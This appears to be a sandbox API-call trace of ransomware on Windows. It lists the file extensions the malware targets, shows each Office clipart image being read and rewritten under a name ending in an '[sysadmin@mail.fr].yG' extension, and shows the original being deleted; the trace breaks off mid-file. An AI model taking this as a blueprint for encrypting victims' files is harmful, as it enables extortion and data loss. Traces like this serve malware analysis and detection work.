	[0160.169] lstrlenW (lpString=".docx") returned 5
	[0160.169] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0160.169] lstrlenW (lpString=".pdf") returned 4
	[0160.169] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0160.169] lstrlenW (lpString=".xls") returned 4
	[0160.169] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0160.169] lstrlenW (lpString=".xlsx") returned 5
	[0160.169] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0160.169] lstrlenW (lpString=".ppt") returned 4
	[0160.169] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0160.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.169] lstrlenW (lpString=".zip") returned 4
	[0160.169] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0160.169] lstrlenW (lpString=".rar") returned 4
	[0160.169] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0160.169] lstrlenW (lpString=".bz2") returned 4
	[0160.170] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0160.170] lstrlenW (lpString=".7z") returned 3
	[0160.170] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0160.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.170] lstrlenW (lpString=".dbf") returned 4
	[0160.170] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0160.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.170] lstrlenW (lpString=".1cd") returned 4
	[0160.170] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0160.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.170] lstrlenW (lpString=".jpg") returned 4
	[0160.170] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0160.170] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0160.170] lstrlenW (lpString="J0099190.JPG") returned 12
	[0160.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.172] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=43892) returned 1
	[0160.172] CloseHandle (hObject=0x548) returned 1
	[0160.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220
	[0160.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.173] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.173] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0160.174] GetLastError () returned 0x0
	[0160.174] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xab74, lpOverlapped=0x0) returned 1
	[0160.190] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xab80, lpOverlapped=0x0) returned 1
	[0160.199] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.199] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.199] SetEndOfFile (hFile=0x540) returned 1
	[0160.199] CloseHandle (hObject=0x540) returned 1
	[0160.199] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.199] SetEndOfFile (hFile=0x548) returned 1
	[0160.203] CloseHandle (hObject=0x548) returned 1
	[0160.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1
	[0160.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.205] lstrlenW (lpString=".doc") returned 4
	[0160.205] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0160.205] lstrlenW (lpString=".docx") returned 5
	[0160.205] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0160.205] lstrlenW (lpString=".pdf") returned 4
	[0160.205] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0160.205] lstrlenW (lpString=".xls") returned 4
	[0160.205] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0160.205] lstrlenW (lpString=".xlsx") returned 5
	[0160.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0160.206] lstrlenW (lpString=".ppt") returned 4
	[0160.206] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0160.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.206] lstrlenW (lpString=".zip") returned 4
	[0160.206] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0160.206] lstrlenW (lpString=".rar") returned 4
	[0160.206] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0160.206] lstrlenW (lpString=".bz2") returned 4
	[0160.206] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0160.206] lstrlenW (lpString=".7z") returned 3
	[0160.206] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0160.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.206] lstrlenW (lpString=".dbf") returned 4
	[0160.206] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.207] lstrlenW (lpString=".1cd") returned 4
	[0160.207] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.207] lstrlenW (lpString=".jpg") returned 4
	[0160.207] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.207] lstrlenW (lpString=".doc") returned 4
	[0160.207] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0160.207] lstrlenW (lpString=".docx") returned 5
	[0160.207] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0160.207] lstrlenW (lpString=".pdf") returned 4
	[0160.207] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0160.207] lstrlenW (lpString=".xls") returned 4
	[0160.207] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0160.207] lstrlenW (lpString=".xlsx") returned 5
	[0160.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0160.207] lstrlenW (lpString=".ppt") returned 4
	[0160.207] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0160.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.207] lstrlenW (lpString=".zip") returned 4
	[0160.207] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0160.207] lstrlenW (lpString=".rar") returned 4
	[0160.208] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0160.208] lstrlenW (lpString=".bz2") returned 4
	[0160.208] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0160.208] lstrlenW (lpString=".7z") returned 3
	[0160.208] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.208] lstrlenW (lpString=".dbf") returned 4
	[0160.208] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.208] lstrlenW (lpString=".1cd") returned 4
	[0160.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0160.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68
	[0160.208] lstrlenW (lpString=".jpg") returned 4
	[0160.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0160.208] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0160.208] lstrlenW (lpString="J0099191.JPG") returned 12
	[0160.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.209] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=62367) returned 1
	[0160.209] CloseHandle (hObject=0x548) returned 1
	[0160.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220
	[0160.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.210] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.210] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0160.211] GetLastError () returned 0x0
	[0160.211] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xf39f, lpOverlapped=0x0) returned 1
	[0160.216] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xf3a0, lpOverlapped=0x0) returned 1
	[0160.449] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.449] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.449] SetEndOfFile (hFile=0x540) returned 1
	[0160.450] CloseHandle (hObject=0x540) returned 1
	[0160.450] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.450] SetEndOfFile (hFile=0x548) returned 1
	[0160.456] CloseHandle (hObject=0x548) returned 1
	[0160.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1
	[0161.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.169] lstrlenW (lpString=".doc") returned 4
	[0161.169] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0161.169] lstrlenW (lpString=".docx") returned 5
	[0161.169] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0161.169] lstrlenW (lpString=".pdf") returned 4
	[0161.169] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0161.169] lstrlenW (lpString=".xls") returned 4
	[0161.169] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0161.169] lstrlenW (lpString=".xlsx") returned 5
	[0161.169] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0161.169] lstrlenW (lpString=".ppt") returned 4
	[0161.169] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0161.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.169] lstrlenW (lpString=".zip") returned 4
	[0161.169] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0161.169] lstrlenW (lpString=".rar") returned 4
	[0161.170] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0161.170] lstrlenW (lpString=".bz2") returned 4
	[0161.170] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0161.170] lstrlenW (lpString=".7z") returned 3
	[0161.170] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.170] lstrlenW (lpString=".dbf") returned 4
	[0161.170] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.170] lstrlenW (lpString=".1cd") returned 4
	[0161.170] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0161.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0161.170] lstrlenW (lpString=".jpg") returned 4
	[0161.170] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0161.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0161.171] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=16543) returned 1
	[0161.171] CloseHandle (hObject=0x518) returned 1
	[0161.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220
	[0161.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0161.172] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.172] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.174] GetLastError () returned 0x0
	[0161.174] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x409f, lpOverlapped=0x0) returned 1
	[0161.177] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x40a0, lpOverlapped=0x0) returned 1
	[0161.178] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.178] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.179] SetEndOfFile (hFile=0x42c) returned 1
	[0161.179] CloseHandle (hObject=0x42c) returned 1
	[0161.179] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.179] SetEndOfFile (hFile=0x518) returned 1
	[0161.183] CloseHandle (hObject=0x518) returned 1
	[0161.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1
	[0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.185] lstrlenW (lpString=".doc") returned 4
	[0161.185] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.185] lstrlenW (lpString=".docx") returned 5
	[0161.185] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0161.185] lstrlenW (lpString=".pdf") returned 4
	[0161.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.185] lstrlenW (lpString=".xls") returned 4
	[0161.185] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.185] lstrlenW (lpString=".xlsx") returned 5
	[0161.185] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0161.185] lstrlenW (lpString=".ppt") returned 4
	[0161.186] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.186] lstrlenW (lpString=".zip") returned 4
	[0161.186] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.186] lstrlenW (lpString=".rar") returned 4
	[0161.186] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.186] lstrlenW (lpString=".bz2") returned 4
	[0161.186] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.186] lstrlenW (lpString=".7z") returned 3
	[0161.186] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.186] lstrlenW (lpString=".dbf") returned 4
	[0161.186] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.186] lstrlenW (lpString=".1cd") returned 4
	[0161.186] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0161.186] lstrlenW (lpString=".jpg") returned 4
	[0161.186] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0161.188] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=51401) returned 1
	[0161.188] CloseHandle (hObject=0x518) returned 1
	[0161.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220
	[0161.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0161.189] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.189] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0161.190] GetLastError () returned 0x0
	[0161.190] ReadFile (in: hFile=0x518, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xc8c9, lpOverlapped=0x0) returned 1
	[0161.230] WriteFile (in: hFile=0x42c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xc8d0, lpOverlapped=0x0) returned 1
